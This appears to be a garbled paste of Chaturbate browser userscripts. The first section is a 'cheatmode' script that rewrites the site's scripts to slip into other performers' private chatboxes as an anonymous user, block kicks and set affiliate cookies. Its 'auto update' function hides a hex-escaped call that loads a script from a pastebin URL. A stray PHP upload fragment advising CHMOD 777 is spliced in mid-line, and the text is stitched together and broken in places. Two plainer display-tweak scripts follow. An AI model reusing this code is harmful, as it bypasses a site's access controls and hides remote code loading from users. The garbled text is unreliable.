2071. 2072. 2073.693. else{chost="rtmp://chat2"}} 2074. 2075. 2076.694. else{ 2077. 2078. 2079.695. chost=data2.substring(chostpos,chostpos+12)} 2080. 2081. 2082.696. 2083. 2084. 2085.697. // set a cookie so we know the new page must be adjusted and how 2086. 2087. 2088.698. createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); 2089. 2090. 2091.699. 2092. 2093. 2094.700. window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; 2095. 2096. 2097.701. 2098. 2099. 2100.702. }}); 2101. 2102. 2103.703. } 2104. 2105. 2106.704. 2107. 2108. 2109.705. //auto update 2110. 2111. 2112.706. function save(){ 2113. 2114. 2115.707. if(document.getElementsByClassName('username')[0]){ 2116. 2117. 2118.708. uname=document.getElementsByClassName('username')[0].innerHTML; 2119. 2120. 2121.709. 2122. 2123. 2124.710. 2125. 2126. 2127.711. 2128. 2129. 2130.712. // createCookie("agreeterms","1",1); 2131. 2132. 2133.713. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 2134. 2135. 2136.714. upperdate(); 2137. 2138. 2139.715. 2140. 2141. 2142.716. function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) 2143. 2144. 2145.717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; 2146. 2147. 2148.718. } 2149. 2150. 2151.719. 2152. 2153. 2154.720. // create video box with shoutbox, image,normal and anon option, kill refesh 2155. 2156. 2157.721. function makevid(preformer){ 2158. 2159. 2160.722. 2161. 2162. 2163.723. // kill all timeouts 2164. 2165. 2166.724. scrip=document.createElement('script'); 2167. 2168. 2169.725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; 2170. 2171. 2172.726. document.getElementsByTagName('body')[0].appendChild(scrip); 2173. 2174. 2175.727. 2176. 2177. 2178.728. // image 2179. 2180. 2181.729. prefimg=''; 2182. 2183. 2184.730. 2185. 2186. 2187.731. Fversion = getfversion(); 2188. 2189. 2190.732. videodata2 = videodata2.replace("ladroop",preformer); 2191. 2192. 2193.733. newvid=document.createElement('div'); 2194. 2195. 2196.734. 2197. 2198. 2199.735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; 2200. 2201. 2202.736. 2203. 2204. 2205.737. document.getElementsByClassName('block')[0].appendChild(newvid); 2206. 2207. 2208.738. newli=document.createElement('li'); 2209. 2210. 2211.739. newli.innerHTML="ENTER THIS CHATBOX"; 2212. 2213. 2214.740. if (bar){bar.appendChild(newli)} 2215. 2216. 2217.741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false); 2218. 2219. 2220.742. ainput()} 2221. 2222. 2223.743. 2224. 2225. 2226.744. // set anon 2227. 2228. 2229.745. function ainput(){ 2230. 2231. 2232.746. newli=document.createElement('li'); 2233. 2234. 2235.747. newli.innerHTML='ENTER THIS CHATBOX ANONYMOUS'; 2236. 2237. 2238.748. if (bar){bar.appendChild(newli)} 2239. 2240. 2241.749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false); 2242. 2243. 2244.750. mobset()} 2245. 2246. 2247.751. 2248. 2249. 2250.752. // mobile mode 2251. 2252. 2253.753. function mobset(){ 2254. 2255. 2256.754. newli=document.createElement('li'); 2257. 2258. 2259.755. newli.innerHTML=' Use mobile mode: '; 2260. 2261. 2262.756. if (bar){bar.appendChild(newli)}} 2263. 2264. 2265.757. 2266. 2267. 2268.758. 2269. 2270. 2271.759. // reconnect chatbox , give me mu8 link 2272. 2273. 2274.760. function keyinput(){ 2275. 2276. 2277.761. if (!document.getElementById("cheat")){ 2278. 2279. 2280.762. 2281. 2282. 2283.763. if (document.getElementById("movie")){ 2284. 2285. 2286.764. place=document.getElementsByClassName('info-user')[0]; 2287. 2288. 2289.765. if(!place){place=document.getElementById("shout")} // for pw room with chat 2290. 2291. 2292.766. 2293. 2294. 2295.767. //chat reload 2296. 2297. 2298.768. if (document.getElementsByClassName("chat-box")[0]){ 2299. 2300. 2301.769. chatreload=document.createElement('div'); 2302. 2303. 2304.770. chatreload.innerHTML="Reconnect the chatbox
  457.  
  458. "; 2305. 2306. 2307.771. document.getElementById("defchat").insertBefore(chatreload,place)} 2308. 2309. 2310.772. 2311. 2312. 2313.773. if (document.getElementsByTagName('video')[0]){ 2314. 2315. 2316.774. vidlink=document.getElementsByTagName('video')[0].src; 2317. 2318. 2319.775. vid=document.createElement('div'); 2320. 2321. 2322.776. vid.innerHTML="COPY this link into VLC player.
  459.  
  460. "; 2323. 2324. 2325.777. document.getElementById("defchat").insertBefore(vid,place)}} 2326. 2327. 2328.778. } 2329. 2330. 2331.779. } 2332. 2333. 2334.780. 2335. 2336. 2337.781. //get saved flashplayer version 2338. 2339. 2340.782. function getfversion(){ 2341. 2342. 2343.783. Fversion=readCookie("CBversion"); 2344. 2345. 2346.784. if(!Fversion){Fversion=flashplayer} 2347. 2348. 2349.785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); 2350. 2351. 2352.786. return version} 2353. 2354. 2355.787. 2356. 2357. 2358.788. // videobox data 2359. 2360. 2361.789. var servers=new Array("","-a","-b"); 2362. 2363. 2364.790. var server = servers[Math.floor(Math.random()*3)];//0-1-2 2365. 2366. 2367.791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down 2368. 2369. 2370.792. 2371. 2372. 2373.793. videodata1='
  461. ' 2374. 2375. 2376.794. +'' 2383. 2384. 2385.797. +'' 2386. 2387. 2388.798. +'' 2389. 2390. 2391.799. +'' 2392. 2393. 2394.800. +'' 2395. 2396. 2397.801. +'' 2398. 2399. 2400.802. +'' 2407. 2408. 2409.805. +'
  462. ' 2410. 2411. 2412.806. 2413. 2414. 2415.807. // shoutbox data 2416. 2417. 2418.808. sdata = '
  463.  
  464.  
  465. Shoutbox
  466.  
  467. '; 2425. 2426. 2427.811. 2428. 2429. 2430.812. // some cookies 2431. 2432. 2433.813. createCookie("u_NxHf","1",1); 2434. 2435. 2436.814. createCookie("us_NxHf","1",1); 2437. 2438. 2439.815. createCookie("dsmn29","1",1); 2440. 2441. 2442.816. createCookie("dsmn26","1",1); 2443. 2444. 2445.817. createCookie("dsmn27","1",1); 2446. 2447. 2448.818. createCookie("dsmn28","1",1); 2449. 2450. 2451.819. 2452. 2453. 2454.820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} 2455. 2456. 2457.821. 2458. 2459. 2460.822. //---------------------------------------------------------------------------------------------------------------------------------- 2461. 2462. 2463.823. // executes !everytime! before a script executes 2464. 2465. 2466.824. function do_script2(e) { 2467. 2468. 2469.825. 2470. 2471. 2472.826. // we will always kill swf storage and earase exisiting storage 2473. 2474. 2475.827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script 2476. 2477. 2478.828. 2479. 2480. 2481.829. if(!e.target.id){// already altered ? , then ID is set 2482. 2483. 2484.830. 2485. 2486. 2487.831. script=e.target.innerHTML; 2488. 2489. 2490.832. e.preventDefault(); 2491. 2492. 2493.833. e.stopPropagation(); 2494. 2495. 2496.834. e.target.parentNode.removeChild(e.target); 2497. 2498. 2499.835. 2500. 2501. 2502.836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); 2503. 2504. 2505.837. 2506. 2507. 2508.838. scrip=document.createElement('script'); 2509. 2510. 2511.839. scrip.id="newswfstor"; 2512. 2513. 2514.840. 2515. 2516. 2517.841. scrip.innerHTML=script; 2518. 2519. 2520.842. document.getElementsByTagName('body')[0].appendChild(scrip); 2521. 2522. 2523.843. 2524. 2525. 2526.844. }} 2527. 2528. 2529.845. 2530. 2531. 2532.846. 2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932. username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934. for (i=0; i) if original is script=script.replace..with..both..script..uploaded, //< ? php $numoffile = 5; // Fix path of your file to be uploaded, (CHMOD 777) to (CHMOD 7777 ) TO this folder $file_dir = "/home/webs/dmonster.com/subdomain/files/"; if ($_POST) { for ($i=0;$i0) ("window.location.reload()","return"); //< ? php $numoffile = 5; //    ? >  ><==UserScript==><
  468. // @name        Chaturbate Enhanced
  469. // @locale      en
  470. //  @version 1    
  471. // @version     5.2.0
  472. // @author      stix
  473. // @description No Ads, Change Colors, Add Fav. Model Tab, Remove Profile Spam & Annoying Chat Tip GIFs, Deletes Exhibitionist Cams & More...
  474. // @icon        http://deplist.weebly.com/uploads/6/1/9/1/61911901/want.png
  475. // @include     https://chaturbate.com/*
  476.  // @include       https://*.chaturbate.com/*
  477.  // @exclude      https://chaturbate.com/emoticons/*
  478.  // @exclude      https://chaturbate.com/accounts/*
  479. // @exclude       https://chaturbate.com/apps/*
  480. // @include       https://chaturbate.com/photo_videos/*
  481. //  @include       http://jsfiddle.net/shanny/VSUM6/28/*
  482. //  @include       http://jsfiddle.net/zalun/NmudS/embedded/result,js,html,css/
  483. // @exclude       http://serve.ads.chaturbate.com/*
  484. // @namespace  https://greasyfork.org/en/scripts/16228-chaturbate-enhanced
  485. // @require        https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  486. // @require        https://greasyfork.org/scripts/19017-jscolor/code/jscolor.js?version=121257
  487. // @license        GPLv3; http://www.gnu.org/copyleft/gpl.html
  488.  // @grant      none
  489.  
  490. // // ==UserScript==
  491.  
  492. // @name          Chaturbate Better Full Screen
  493. // @version       1.2
  494. // @include       https://chaturbate.com/*
  495. // @include       https://chaturbate.com/#*
  496. // @exclude       https://*.chaturbate.com/*-cams/
  497. // @exclude       https://chaturbate.com/*-cams/
  498. // @namespace https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
  499. // @description:en Adds a better full screen view that has the chat.
  500. // @source https://greasyfork.org/en/scripts/8725-chaturbate-better-full-screen
  501. // @description Adds a better full screen view that has the chat.
  502. // ==/UserScript==
  503.  
  504. if (window.top != window.self)  //-- Don't run on frames or iframes
  505.   return;
  506.  
  507. var main = function() {
  508.   var betterFullScreenOpen = false,
  509.       prevHeight = 0;
  510.  
  511.   if (typeof $ !== 'undefined') {
  512.     $(document).ready(
  513.       function() {
  514.         var addActionBtn = function() {
  515.           $('body').append('<div id="betterFullScreenBtn" onclick="toggleBetterFullScreen()"><i class="fa fa-arrows-alt"><i></div>');
  516.         };
  517.  
  518.         window.toggleBetterFullScreen = function(e) {
  519.           betterFullScreenOpen = !betterFullScreenOpen;
  520.           $('#defchat .section').toggleClass('betterFullScreen');
  521.           $('#betterFullScreenBtn .fa').toggleClass('fa-arrows-alt').toggleClass('fa-compress');
  522.           if (betterFullScreenOpen) {
  523.             prevHeight = $('.video-box #player').css('height');
  524.             var width = $('.video-box #player').width();
  525.             $('.video-box #player').css('height', ((width*(664/842))-10)+'px');
  526.             $('body').append('<div id="betterFullScreenOverlay"></div>');
  527.           } else {
  528.             $('.video-box #player').css('height', prevHeight);
  529.             $('#betterFullScreenOverlay').remove();
  530.           }
  531.         };
  532.  
  533.         var url = '//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css';
  534.         if (document.createStyleSheet) {
  535.           document.createStyleSheet(url);
  536.         } else if (typeof $ !== 'undefined') {
  537.           $('<link rel="stylesheet" type="text/css" href="' + url + '" />').appendTo('head');
  538.         }
  539.  
  540.         addActionBtn();
  541.       }
  542.     );
  543.   }
  544. };
  545.  
  546. var script = document.createElement('script');
  547. script.textContent = '(' + main.toString() + ')();';
  548. document.body.appendChild(script);
  549. var style = document.createElement('style');
  550. style.innerHTML = ''+
  551. '#betterFullScreenBtn {'+
  552.   'width: 25px !important;' +
  553.   'height: 25px !important;' +
  554.   'top: 10px !important;' +
  555.   'right: 10px !important;' +
  556.   'z-index: 2000 !important;' +
  557.   'position: fixed !important;' +
  558.   'cursor: pointer !important;' +
  559.   'background: #e0e0e0 !important;' +
  560.   'border: 1px solid #acacac !important;' +
  561.   'border-radius: 4px !important;' +
  562.   '-webkit-border-radius: 4px !important;' +
  563.   '-moz-border-radius: 4px !important;' +
  564.   'padding: 4px !important;' +
  565.   'font-size: 25px !important;' +
  566.   'text-align: center !important;' +
  567. '}' +
  568. '#betterFullScreenOverlay {' +
  569.   'top: 0;' +
  570.   'left: 0;' +
  571.   'right: 0;' +
  572.   'bottom: 0;' +
  573.   'position: fixed;' +
  574.   'background: #e0e0e0;' +
  575.   'z-index: 1998;' +
  576. '}' +
  577. '.betterFullScreen {' +
  578.   'top: 0 !important;' +
  579.   'left: 0 !important;' +
  580.   'right: 0 !important;' +
  581.   'bottom: 0 !important;' +
  582.   'position: fixed !important;' +
  583.   'z-index: 1999 !important;' +
  584.   'height: 100%!important;' +
  585. '}' +
  586. '.betterFullScreen .video-box {' +
  587.   'position: fixed !important;' +
  588.   'left: 0 !important;' +
  589.   'top: 0 !important;' +
  590.   'width: 60% !important;' +
  591.   'height: 100% !important;' +
  592. '}' +
  593. '.betterFullScreen .video-box #player {' +
  594.   'width: 100% !important;' +
  595. '}' +
  596. '.betterFullScreen .video-box .title {' +
  597.   'width: calc(100% - 15px);' +
  598.   'position: relative;' +
  599.   'overflow: visible;' +
  600. '}' +
  601. '.betterFullScreen .video-box .title #tooltip-subject {' +
  602.   'width: initial !important;' +
  603.   'right: 0;' +
  604. '}' +
  605. '.betterFullScreen .chat-holder {' +
  606.   'position: fixed !important;' +
  607.   'right: 0 !important;' +
  608.   'top: 0 !important;' +
  609.   'width: calc(40% - 10px) !important;' +
  610.   'height: 100% !important;' +
  611. '}' +
  612. '.betterFullScreen .chat-box {' +
  613.   'height: 100% !important;' +
  614. '}' +
  615. '.betterFullScreen .users-list, .betterFullScreen .settings-list, .betterFullScreen .chat-list {' +
  616.   'height: calc(100% - 75px) !important;' +
  617. '}';
  618. document.body.appendChild(style);
  619.  
  620. // ==/UserScript==
  621.  
  622. this.$ = this.jQuery = jQuery.noConflict(true);
  623.  
  624. if (window.location.protocol != 'https:') {
  625.     window.location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
  626. }
  627. //===============================================Inserts holder for color selector and hide for now
  628. var jsColorBox = ('<div id="jsDiv"></div><input class="jscolor {onFineChange:"update(this)", width:101, padding:0, shadow:true,borderWidth:1, backgroundColor:"transparent", insetColor:"#000"}" value="80bfff" style="position:absolute; top:93px; left:555px;  z-index:1002;" >');
  629. $('#nav').append(jsColorBox);
  630. $('.jscolor').hide();
  631. function update(jscolor) {
  632.     // 'jscolor' instance can be used as a string
  633.     var jsClass = $('#lightColor');
  634.     jsClass.text('#' + jscolor);
  635. }
  636. //=============================================== Configure proper UTC values for setting cookies
  637. var later = new Date();
  638. var laterDate = later.setUTCFullYear('2099');
  639. var now = new Date();
  640. var time = now.getTime();
  641. time += 21600000;
  642. now.setTime(time);
  643. //=============================================== Set the cookies to make sure these values are always set
  644. document.cookie = 'noads=1; expires=' + now.toUTCString() + '; path=/';
  645. document.cookie = 'agreeterms=1; expires=' + later.toUTCString() + '; path=/';
  646. document.cookie = 'np3=1; expires=' + later.toUTCString() + '; path=/';
  647. //===============================================
  648. //DELETE EXHIBITIONIST CAMS-THEY ARE SCARY SOMETIMES IF NOT OBSCENE
  649. //OR SOME SCAMMER SPAMMING CHAT OFFERING SKYPE SHOWS FOR MONEY
  650. //===============================================
  651. function myTimer() {
  652.     var basura = $(".thumbnail_label_exhibitionist"); //Delete Exhibitionist Cams, always spam or very disgusting
  653.     if (basura) {
  654.         basura.parent().remove();
  655.     }
  656.     var cams = $(".details"); //Put thin border around cam preview thumbnails
  657.     if (cams) {
  658.         cams.parent().css({'color': "black", "border": "1px ridge black"});
  659.     }
  660.     var DOM = document.getElementsByClassName("list");
  661.     var noSissies = $( "a:contains('sissy')" );
  662.     if (noSissies) {
  663.         noSissies.parentsUntil(DOM, "li").remove();
  664.     }
  665. }
  666. //===============================================
  667. //========= Call removeElementByPath Function====
  668. //===============================================
  669. removeEBP();
  670. //===============================================
  671. function getCookie(cname) {
  672.     var name = cname + "=";
  673.     var ca = document.cookie.split(';');
  674.     for (var i = 0; i < ca.length; i++) {
  675.         var c = ca[i];
  676.         while (c.charAt(0) == ' ') c = c.substring(1);
  677.         if (c.indexOf(name) != -1) {
  678.             return c.substring(name.length, c.length);
  679.         }}
  680.     return "";
  681. }
  682.  
  683. var color1 = getCookie('cb-color1');
  684. var color2 = getCookie('cb-color2');
  685.  
  686. if ((color1 === "") || (color2 === "")) {
  687.     var color = ["80bfff", "000000"];
  688. } else {
  689.     var color = [color1, color2];
  690. }
  691. var color3 = getCookie('cb-color3');
  692. var color4 = getCookie('cb-color4');
  693.  
  694. var chkbx = getCookie('cb-chkbx');
  695. if (chkbx == 'locked') {
  696.     var varCheck = 'true';
  697.     var posi = 'fixed';
  698. }
  699. else {
  700.     var varCheck = 'false';
  701.     var posi = 'absolute';
  702. }
  703.  
  704. var chkbx2 = getCookie('cb-chkbx-2');
  705. if (chkbx2 == 'locked') {
  706.     var varCheck2 = 'true';
  707.     jQuery('document').ready(function($) {
  708.         var nav = $('.nav-bar');
  709.         $(window).scroll(function() {
  710.             if ($(this).scrollTop() > 85) {
  711.                 nav.addClass('fixnav');
  712.             }
  713.             else {
  714.                 nav.removeClass('fixnav');
  715.             }
  716.         });
  717.     });
  718. }
  719. else {
  720.     jQuery('document').ready(function($) {
  721.         var nav = $('.nav-bar');
  722.         $(window).scroll(function() {
  723.             if ($(this).scrollTop() < 0) {
  724.                 nav.addClass('fixnav');
  725.             }
  726.             else {
  727.                 nav.removeClass('fixnav');
  728.             }
  729.         });
  730.     });
  731. }
  732. //===================================================== Creates the SETTINGS Link On Top of Page
  733. function quickCheck() {
  734.     $(document).ready(function(){
  735.         var vnumber = '5.2.0';
  736.         var version = 'Chaturbate Enhanced - Version ' + vnumber;
  737.         var vernum = document.createElement('INS');
  738.         var txt = document.createTextNode(version);
  739.         vernum.setAttribute('id', 'verText');
  740.         vernum.setAttribute('style', 'position:absolute; top:36px; left:300px; color:#181818; font-family:arial; font-size:0.875em; font-weight:normal; text-decoration:none; z-index:1000;');
  741.         vernum.appendChild(txt);
  742.         document.body.appendChild(vernum);
  743.         var verCheck = document.createElement('INS');
  744.         var verTxt = document.createTextNode('');
  745.         verCheck.setAttribute('id', 'verText');
  746.         verCheck.setAttribute('style', 'display:none;');
  747.         verCheck.appendChild(verTxt);
  748.         document.body.appendChild(verCheck);
  749.         var edit = document.createElement('A');
  750.         var editTxt = document.createTextNode('Settings');
  751.         edit.setAttribute('id', 'editBut');
  752.         edit.setAttribute('style', 'position:absolute; top:18px; left:298px; font-family:arial; font-size:1.125em; font-weight:bold; text-decoration:none; z-index:1000;');
  753.         edit.setAttribute('href', '#');
  754.         edit.onclick = function() {
  755.             $('.jscolor').show();
  756.             var makeForm = document.createElement('FORM');
  757.             makeForm.setAttribute('id', 'colorForm');
  758.             makeForm.setAttribute('style', 'position:absolute; top:0; left:150px; width:278px; height:340px; background-color:#ffffff; border:1px solid #cbcbcb; border-radius:0px 1px 4px 0; z-index:1001;');
  759.             document.body.appendChild(makeForm);
  760.             //===================================================== Choose a light hexadecimal color label
  761.             var pick1 = document.createElement('INS');
  762.             var pickLight = document.createTextNode('Choose a light hexadecimal color');
  763.             pick1.setAttribute('style', 'position:absolute; top:10px; left:170px; text-decoration:none; z-index:1002;');
  764.             pick1.setAttribute('id', 'pick1Label');
  765.             pick1.appendChild(pickLight);
  766.             document.body.appendChild(pick1);
  767.             //===================================================== Choose a light hexadecimal color input box
  768.             var light = document.createElement('INPUT');
  769.             light.setAttribute('id', 'lightColor');
  770.             light.setAttribute('type', 'text');
  771.             light.setAttribute('value', color[0]);
  772.             light.setAttribute('style', 'position:absolute; top:20px; left:20px; text-decoration:none; z-index:1002;');
  773.             document.getElementById('colorForm').appendChild(light);
  774.             //===================================================== Choose a dark hexadecimal color
  775.             var pick2 = document.createElement('INS');
  776.             var pickDark = document.createTextNode('Choose a dark hexadecimal color');
  777.             pick2.setAttribute('style', 'position:absolute; top:60px; left:170px; text-decoration:none; z-index:1002;');
  778.             pick2.appendChild(pickDark);
  779.             document.body.appendChild(pick2);
  780.             //===================================================== Choose a dark hexadecimal input box
  781.             var dark = document.createElement('INPUT');
  782.             dark.setAttribute('id', 'darkColor');
  783.             dark.setAttribute('type', 'text');
  784.             dark.setAttribute('value', color[1]);
  785.             dark.setAttribute('style', 'position:absolute; top:70px; left:20px; text-decoration:none; z-index:1002;');
  786.             document.getElementById('colorForm').appendChild(dark);
  787.             //===================================================== Favorite Model Label for Input Box
  788.             var pick3 = document.createElement('INS');
  789.             var pickName = document.createTextNode('Choose a favorite model.');
  790.             pick3.setAttribute('style', 'position:absolute; top:110px; left:170px; text-decoration:none; z-index:1002;');
  791.             pick3.appendChild(pickName);
  792.             document.body.appendChild(pick3);
  793.             //===================================================== Favorite Model Input Box
  794.             var modelName = document.createElement('INPUT');
  795.             modelName.setAttribute('id', 'modelNameBox');
  796.             modelName.setAttribute('type', 'text');
  797.             modelName.setAttribute('value', color3);
  798.             modelName.setAttribute('style', 'position:absolute; top:120px; left:20px; text-decoration:none; z-index:1002;');
  799.             document.getElementById('colorForm').appendChild(modelName);
  800.             //===================================================== Font Name Label for Input Box
  801.             var pick4 = document.createElement('INS');
  802.             var pickFontName = document.createTextNode('Change Font Type');
  803.             pick4.setAttribute('style', 'position:absolute; top:155px; left:170px; text-decoration:none; z-index:1002;');
  804.             pick4.appendChild(pickFontName);
  805.             document.body.appendChild(pick4);
  806.             //===================================================== Font Name Combo Box
  807.             var pickFont = document.createElement('SELECT');
  808.             pickFont.setAttribute('style', 'position:absolute;top: 170px;left:20px;text-decoration:none;z-index:1002;');
  809.             pickFont.setAttribute('id', 'fontNameBox');
  810.             pickFont.setAttribute('type', 'option');
  811.             pickFont.setAttribute('elementtype', 'combobox');
  812.             pickFont.setAttribute('size', '1');
  813.             var pickOption = document.createElement('OPTION');
  814.             var pickOpt1 = document.createTextNode('Rockwell');//=====FIRST OPTION
  815.             pickOption.setAttribute('value', '1');
  816.             pickOption.appendChild(pickOpt1);
  817.             pickFont.appendChild(pickOption);
  818.  
  819.             var pickOption2 = document.createElement('OPTION');
  820.             var pickOpt2 = document.createTextNode('Tw Cen MT');//=====SECOND OPTION
  821.             pickOption2.setAttribute('value', '2');
  822.             pickOption2.appendChild(pickOpt2);
  823.             pickFont.appendChild(pickOption2);
  824.  
  825.             var pickOption3 = document.createElement('OPTION');
  826.             var pickOpt3 = document.createTextNode('Verdana');//=====THIRD OPTION
  827.             pickOption3.setAttribute('value', '3');
  828.             pickOption3.appendChild(pickOpt3);
  829.             pickFont.appendChild(pickOption3);
  830.  
  831.             document.getElementById('colorForm').appendChild(pickFont);
  832.             //===================================================== First checkbox label
  833.             var scroll = document.createElement('INS');
  834.             var scrollCheck = document.createTextNode('Lock room image in place.');
  835.             scroll.setAttribute('style', 'position:absolute; top:205px; left:170px; text-decoration:none; z-index:1002;');
  836.             scroll.appendChild(scrollCheck);
  837.             document.body.appendChild(scroll);
  838.             //===================================================== Checkbox
  839.             var chbox = document.createElement('INPUT');
  840.             if (varCheck == 'true') {
  841.                 chbox.setAttribute('id', 'checkBox');
  842.                 chbox.setAttribute('type', 'checkbox');
  843.                 chbox.setAttribute('checked', 'true');
  844.                 chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  845.             }
  846.             else {
  847.                 chbox.setAttribute('id', 'checkBox');
  848.                 chbox.setAttribute('type', 'checkbox');
  849.                 chbox.setAttribute('style', 'position:absolute; top:220px; left:20px; text-decoration:none; z-index:1002;');
  850.             }
  851.             document.getElementById('colorForm').appendChild(chbox);
  852.             //===================================================== Second checkbox label & Checkbox
  853.             var scroll2 = document.createElement('INS');
  854.             var scrollCheck2 = document.createTextNode('Lock navigation bar in place.');
  855.             scroll2.setAttribute('style', 'position:absolute; top:245px; left:170px; text-decoration:none; z-index:1002;');
  856.             scroll2.appendChild(scrollCheck2);
  857.             document.body.appendChild(scroll2);
  858.             var chbox2 = document.createElement('INPUT');
  859.             if (varCheck2 == 'true') {
  860.                 chbox2.setAttribute('id', 'checkBox2');
  861.                 chbox2.setAttribute('type', 'checkbox');
  862.                 chbox2.setAttribute('checked', 'true');
  863.                 chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  864.             }
  865.             else {
  866.                 chbox2.setAttribute('id', 'checkBox2');
  867.                 chbox2.setAttribute('type', 'checkbox');
  868.                 chbox2.setAttribute('style', 'position:absolute; top:260px; left:20px; text-decoration:none; z-index:1002;');
  869.             }
  870.             document.getElementById('colorForm').appendChild(chbox2);
  871.             //===================================================== Insert Close and Save buttons on bottom
  872.             var save = document.createElement('A');
